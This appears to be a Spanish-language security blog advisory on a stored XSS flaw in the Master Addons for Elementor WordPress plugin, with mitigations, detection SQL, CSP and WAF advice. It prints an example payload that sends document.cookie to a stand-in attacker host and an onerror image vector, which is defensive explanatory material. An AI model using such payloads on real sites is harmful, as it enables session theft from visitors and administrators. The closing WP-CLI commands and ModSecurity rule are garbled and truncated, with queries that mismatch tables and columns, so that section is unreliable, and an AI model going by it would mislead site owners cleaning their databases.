Complementos Master para Elementor (<= 2.0.9.0) — XSS almacenado de contribuyente autenticado a través de fancyBox (CVE-2025-8874): lo que los propietarios de sitios necesitan saber y cómo proteger sus sitios de WordPress

Resumen

Una vulnerabilidad de scripting entre sitios almacenada (XSS) que afecta a los Complementos Master para Elementor (corregida en 2.0.9.1) permite a un usuario autenticado con privilegios de nivel de contribuyente almacenar HTML/JavaScript malicioso a través del uso de los campos de lightbox/capción de fancyBox del complemento. La carga útil almacenada se ejecuta cuando los visitantes ven páginas afectadas en el front-end. Aunque la puntuación CVSS es moderada (6.5), el impacto práctico puede ser significativo: ejecución arbitraria de scripts en el contexto de su dominio, lo que puede llevar a la desfiguración del sitio, redirecciones, robo de cookies o ataques encadenados contra usuarios con privilegios más altos.

Esta publicación, escrita con un tono pragmático de un experto en seguridad de Hong Kong, explica lo que sucedió, cómo se puede explotar, mitigaciones inmediatas que puede aplicar antes de aplicar el parche, pasos de detección y limpieza, y orientación para desarrolladores para reducir la recurrencia.

Esta publicación cubre

• Lo que sucedió y qué versiones están afectadas
• Causa raíz técnica y posible ruta de explotación
• Mitigaciones inmediatas que puede aplicar ahora mismo (nivel de servidor/sitio)
• Orientación de detección y limpieza (incluidos ejemplos de WP-CLI y SQL)
• Notas para desarrolladores para autores de complementos e integradores de sitios

Vulnerabilidad a simple vista

• Complemento afectado: Complementos Master para Elementor — versiones <= 2.0.9.0
• Corregido en: 2.0.9.1
• Vulnerabilidad: Scripting entre sitios almacenado (XSS) a través del uso de fancyBox
• CVE: CVE-2025-8874
• Privilegio requerido: Contribuyente (usuario autenticado)
• Impacto: XSS almacenado ejecutado en el contexto del sitio cuando un visitante abre un elemento de fancyBox o cuando el complemento renderiza campos no sanitizados
• Prioridad de parche: Baja/Moderada (la explotabilidad depende del acceso de contribuyente y del uso de temas/complementos)

Por qué esto es importante: el XSS almacenado es persistente

XSS almacenado significa que un atacante almacena una carga útil maliciosa en el sitio (en la base de datos o almacenamiento persistente) y esa carga útil se entrega posteriormente a los navegadores de otros usuarios sin la codificación o sanitización adecuada. A diferencia de XSS reflejado, un atacante no necesita engañar a una víctima para que haga clic en una URL manipulada; solo necesita la capacidad de guardar contenido que será visto por otros.

Las cuentas de contribuyentes en muchos sitios pueden subir imágenes, editar subtítulos o crear elementos de galería. Si esos campos se representan en atributos HTML o marcado de subtítulos por el complemento sin escapar, un atacante puede inyectar JavaScript que se ejecuta para visitantes y administradores.

Explicación técnica: cómo funciona la explotación (a alto nivel)

1. El complemento utiliza fancyBox para renderizar imágenes/lightboxes en el front end. fancyBox admite atributos como data-caption, title y otros parámetros que pueden contener HTML.
2. El complemento almacena cadenas proporcionadas por el usuario (subtítulos, títulos, texto alternativo, campos meta) en la meta de la publicación o configuraciones de widgets y las muestra en el marcado del front end. En algunas versiones del complemento, la salida no está debidamente sanitizada/escapada.
3. Un usuario contribuyente crea o edita contenido (subtítulo de imagen, configuraciones de widget) e inyecta cargas útiles de HTML/JavaScript, por ejemplo, etiquetas en línea, atributos onerror o controladores de eventos dentro del marcado almacenado en un subtítulo o atributo de datos.
4. Cuando un visitante abre el fancyBox o cuando se renderiza el widget de galería, el HTML almacenado se inserta en el DOM y el navegador ejecuta el script controlado por el atacante.

Ejemplo (simplificado)

Un atacante almacena un subtítulo como:

<script>fetch('https://attacker.example/collect?c='+document.cookie)</script>

Si el complemento escribe este subtítulo en la página sin escapar:

<div class="fancybox-caption"></div>

el script se ejecuta en el navegador del usuario cuando ve la página.

Otro vector común son las cargas útiles en atributos de imagen:

<img src="x" onerror="/* malicious JS */">

Si la salida de fancyBox inserta atributos en el DOM de manera insegura, el onerror se ejecutará cuando el lightbox intente cargar el src inválido.

Acciones inmediatas para los propietarios del sitio (rápido, antes de parchear)

Si gestionas sitios con el complemento afectado y no puedes actualizar de inmediato, realiza las siguientes acciones para reducir la exposición y ganar tiempo para una remediación completa.

1. Actualiza el complemento a 2.0.9.1 (recomendado)

   El proveedor lanzó una solución en 2.0.9.1. Esta es la acción más segura y permanente: actualiza de inmediato donde sea posible.

2. Restringe temporalmente la actividad de los contribuyentes

   Cambia a los usuarios contribuyentes a un rol de menor riesgo (por ejemplo, Suscriptor) o desactiva temporalmente las nuevas registraciones de contribuyentes. Si se requieren contribuyentes para el flujo de trabajo, pasa a un proceso de aprobación gestionado por un editor hasta que se parchee.

3. Deshabilitar widgets/características vulnerables

   Si controlas plantillas de tema o de página, elimina o desactiva temporalmente los widgets de galería/lightbox proporcionados por el plugin. Elimina shortcodes, widgets o elementos de Elementor que generen salida de fancyBox o galería hasta que el sitio esté parcheado.

4. Aplicar una regla de servidor de emergencia o parche virtual

   Bloquear solicitudes entrantes que incluyan cargas útiles sospechosas dirigidas a campos conocidos de fancyBox o puntos finales de administrador donde los colaboradores publican datos. Ejemplos a inspeccionar y bloquear:

   • Solicitudes POST a admin-ajax.php, wp-admin/post.php, post-new.php que contengan etiquetas o atributos onerror= en campos de formulario.
   • Solicitudes que contengan campos data-fancybox o data-caption con etiquetas de script.

   Si operas ModSecurity o reglas similares a nivel de host, habilita una regla que inspeccione los cuerpos de las solicitudes en busca de caracteres de corchete angular en campos que deberían ser texto plano.

5. Agregar temporalmente una Política de Seguridad de Contenido (CSP) restrictiva

   Una CSP estricta puede prevenir la ejecución de scripts en línea y reducir el riesgo de que se ejecuten cargas útiles XSS almacenadas. Ejemplo (prueba primero — esto puede romper la funcionalidad del sitio):

   Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-...'; object-src 'none'; base-uri 'self'

   Nota: Las CSP requieren ajustes específicos del sitio. Prueba en staging antes de aplicar en producción.

6. Endurecer los controles de carga de archivos

   Asegúrate de que los colaboradores no puedan cargar archivos con extensiones peligrosas. Limita los tipos MIME y monitorea los directorios de carga del servidor en busca de archivos inesperados.

7. Monitorear registros y tráfico

   Busca tráfico POST inusual de administrador, nuevas publicaciones o archivos adjuntos creados por cuentas de colaboradores, y solicitudes con cargas útiles sospechosas. Preserva los registros para la respuesta a incidentes.

Detección: cómo encontrar si tu sitio tiene cargas útiles almacenadas

Usa las siguientes consultas y comandos para localizar contenido sospechoso en la base de datos y archivos de WordPress. Adapta a tu prefijo de DB y entorno.

Busca publicaciones y postmeta para etiquetas HTML comúnmente usadas en XSS:

-- SQL (phpMyAdmin or via WP-CLI)
SELECT ID, post_title, post_author FROM wp_posts
 WHERE post_content LIKE '%<script%' OR post_content LIKE '%onerror=%' OR post_content LIKE '%javascript:%';

SELECT post_id, meta_key, meta_value FROM wp_postmeta
 WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror=%' OR meta_value LIKE '%data-fancybox%';

Ejemplos de WP-CLI:

wp db query "SELECT ID, post_title, post_author FROM wp_posts WHERE post_content LIKE '%', '', 'i') WHERE post_content REGEXP '';"

wp db query "UPDATE wp_postmeta SET meta_value = REPLACE(meta_value, '', '', 'i') WHERE post_content REGEXP ''; "

wp db query "SELECT post_id, meta_key FROM wp_postmeta WHERE meta_value LIKE '%data-fancybox%' OR meta_value LIKE '%fancybox%';"

SecRule REQUEST_URI|ARGS|REQUEST_BODY "@rx (

Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"